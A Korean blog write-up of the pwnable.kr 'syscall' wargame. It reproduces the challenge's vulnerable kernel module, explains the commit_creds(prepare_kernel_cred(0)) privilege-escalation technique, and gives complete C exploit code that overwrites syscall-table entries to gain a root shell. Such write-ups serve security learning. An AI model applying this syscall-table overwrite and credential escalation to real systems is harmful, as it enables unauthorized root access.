Pwnstar
Pwnable.kr syscall 본문
pwnable.kr 문제를 통해서 kernel exploit에 대해 공부해보려고 한다.
소스코드
// adding a new system call : sys_upper
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/slab.h>
#include <linux/vmalloc.h>
#include <linux/mm.h>
#include <asm/unistd.h>
#include <asm/page.h>
#include <linux/syscalls.h>
#define SYS_CALL_TABLE 0x8000e348 // manually configure this address!!
#define NR_SYS_UNUSED 223
//Pointers to re-mapped writable pages
unsigned int** sct;
asmlinkage long sys_upper(char *in, char* out){
int len = strlen(in);
int i;
for(i=0; i<len; i++){
if(in[i]>=0x61 && in[i]<=0x7a){
out[i] = in[i] - 0x20;
}
else{
out[i] = in[i];
}
}
return 0;
}
static int __init initmodule(void ){
sct = (unsigned int**)SYS_CALL_TABLE;
sct[NR_SYS_UNUSED] = sys_upper;
printk("sys_upper(number : 223) is added\n");
return 0;
}
static void __exit exitmodule(void ){
return;
}
module_init( initmodule );
module_exit( exitmodule );
위는 syscall 문제의 소스코드인데 찬찬히 공부하면서 코드를 분석해보자.
소스코드의 마지막에 보면
module_init( initmodule );
이 부분이 있다. 이 부분은 커널이 로드될 때 initmodule 함수를 호출한다는 말이다.
반대로
module_exit( exitmodule );
이 코드는 커널이 종료될 때 exitmodule 함수를 호촐한다는 말일 것이다.
그러면 initmodule 함수를 살펴보자.
syscall table의 정보를 sct 변수에 넣고, NR_SYS_UNUSED(223) 번을 새로 생성하여 sys_upper라는 함수를 새로 시스콜 테이블에 올린다.
sys_upper 함수는 위에 보시다시피 소문자를 대문자로 바꿔주는 함수이다.
실제로 문제를 실행시키면
sys_upper(number : 223) is added라는 문자열이 나오는 것을 알 수 있고 시스콜 테이블에 성공적으로 새 함수가 올라간 것 같다.
커널 익스플로잇에서 root 권한을 획득하기 위해선
commit_creds(prepare_kernel_cred(0)); 를 사용해야 하는데 이게 대체 뭔지 몰라서 좀 찾아봤다.
**???: 왜 execve("/bin/sh", NULL, NULL)이나 system("/binsh\x00")으로는 바로 안되는 것일까
여느 다른 문제들을 풀 때에는 상승된 권한에서 컴파일된 바이너리를 통해 system("/bin/sh") 등을 실행시키므로써 그 상승된 권한의 쉘을 획득할 수 있었다. 하지만 이 문제에서는 그러한 바이너리가 존재하지 않는다.
때문에 commit_creds(prepare_kernel_cred(0)); 이 함수를 통해 나의 uid와 gid를 0(root)로 만들어주고 이후에 system("/bin/sh")를 실행시켜줘야 root 쉘을 획득할 수 있는 것이다.
우선 prepare_kernel_cred는 credential structure를 만들어주는 함수라고 한다.
credential structure에는
- uid(유저 아이디)
- gid(그룹 아이디, 사용자를 목적에 의해 분류한 것)
등등의 정보들이 담겨있는데, 리눅스 명령어 id로 확인이 가능하다.
여기서 알아야 할 점이 root는 항상 0의 값을 가지는데, 이 때문에 prepare_kernel_cred 함수에 0을 집어넣게 되면, uid, gid등의 구조체 값이 0으로 초기화 된 상태로의 반환이 가능하다.
commit_creds() 함수는 인자로 받은 credential structure를 적용시켜주는 함수이다.
즉, commit_creds(prepare_kernel_cred(0)); 함수로 권한 상승이 가능하게 된다.
이제 commit_creds 함수와 prepare_kernel_cred 함수의 심볼을 찾아야 한다.
이런 함수들의 심볼은 /proc/kallsyms 내부에 있다. 내용이 방대해서 grep으로 찾아야 한다.
cat /proc/kallsyms | grep "commit_creds"
cat /proc/kallsyms | grep "prepare_kernel_cred"
commit_creds = 0x8003f56c
prepare_kernel_cred = 0x8003f924
이제 우리는 commit_creds(prepare_kernel_cred(0)); 를 호출해야하기 때문에 인자가 1개인 함수 두 개가 필요하다.
라업에서는 unlink와 chdir 함수를 이용하였지만 나는 exit와 close 함수를 써 볼 것이다.
**??? : 보통 익스를 짤 때에는 파이썬을 주로 사용했었는데, 커널이라는 환경때문인지, python을 사용하지 않고, c 언어로 익스코드를 짰다.
++ 파이썬이 실행이 되지 않는 것 보니까 파이썬이 깔려있지 않는 문제 환경탓인 것 같다.
이제 재료는 모였는데, 취약점을 먼저 설명을 했어야 하는데 잊고 있었다.
취약점은 sys_upper 함수의 out[i] = in[i] 부분과 out[i] = in[i] - 0x20에서 발생한다. in에 있는 값을 out에 그대로 덮어주기 때문이다.(overwrite 가능)
overwrite에는 syscall 함수가 사용된다. 매개 변수를 세 개 사용하는데, 첫번째 매개변수는 사용할 syscall 번호, syscall의 매개변수 1, 2, ... 순서대로 들어가게 된다.
sys_upper 함수에는 우리가 덮어쓸 함수의 주소, 덮어쓰일 함수의 주소 순으로 매개변수가 들어가기 때문에
syscall(SYS_UPPER,"\x24\xf9\x03\x80",&sct[2]);
syscall(SYS_UPPER,"\x60\xf5\x03\x80",&sct[7]);
exit함수를 prepare_kernel_cred함수로 덮어주고, close함수를 commit_creds함수로 덮어준다.
이후 다시 syscall함수를 이용하여 commit_creds(prepare_kernel_cred(0)); 를 호출해줄 것이다.
코드를 짜기 전에 마지막으로 짚고 넘어가야할 점이 0x6c는 sys_upper 함수의 조건에 걸리므로
0x60으로 고쳐주고, 12바이트를 padding으로 덮어주어야 한다. 패딩은
mov r1,r1 = 0x0110A0E1(\xe1\xa0\x10\x01)으로 정했다.
이제 코드를 짜 보자.
ex.c
#include <stdio.h>
#include <stdlib.h>
#define SYS_UPPER 223
#define SYS_CALL_TABLE 0x8000e348
unsigned int**sct;
int main(){
sct=(unsigned int**)SYS_CALL_TABLE;
syscall(SYS_UPPER,"\xe1\xa0\x10\x01\xe1\xa0\x10\x01\xe1\xa0\x10\x01",0x8003f560);
syscall(SYS_UPPER,"\x24\xf9\x03\x80",&sct[2]); //
syscall(SYS_UPPER,"\x60\xf5\x03\x80",&sct[7]);
syscall(7,syscall(2,0));
system("/bin/sh");
return 0;
}
여기서 좀 진짜 이해가 안가는 것이 다른 블로그들을 보면 전부 syscall table에 잘 맞춰서 덮어주면 잘 되었는데 나는 syscall 번호에 +1씩 해줘야 한다.
exit 함수의 syscall 번호는 1, close 함수의 syscall 번호는 6인데 여기에 1씩을 더해줘야 했다 이것도 웃긴게 다른 함수를 사용하면 이런 문제가 발생하지 않는다ㅋㅋ;
이렇게 코드를 짜서 돌리면
커널 익스 끗
커널 익스에 대해 많은 공부가 되었지만 아직 감이 완전히 잡히지는 않은 느낌이다 다른 문제들도 조금 더 풀어봐야할 것 같다.
'Pwnable.kr > Rookiss' 카테고리의 다른 글
Pwnable.kr fix (0) | 2020.07.28 |
---|---|
Pwnable.kr otp (0) | 2020.07.28 |
Pwnable.kr fsb (0) | 2020.06.25 |
Pwnable.kr tiny_easy (0) | 2020.06.25 |
Pwnable.kr dragon (0) | 2020.06.16 |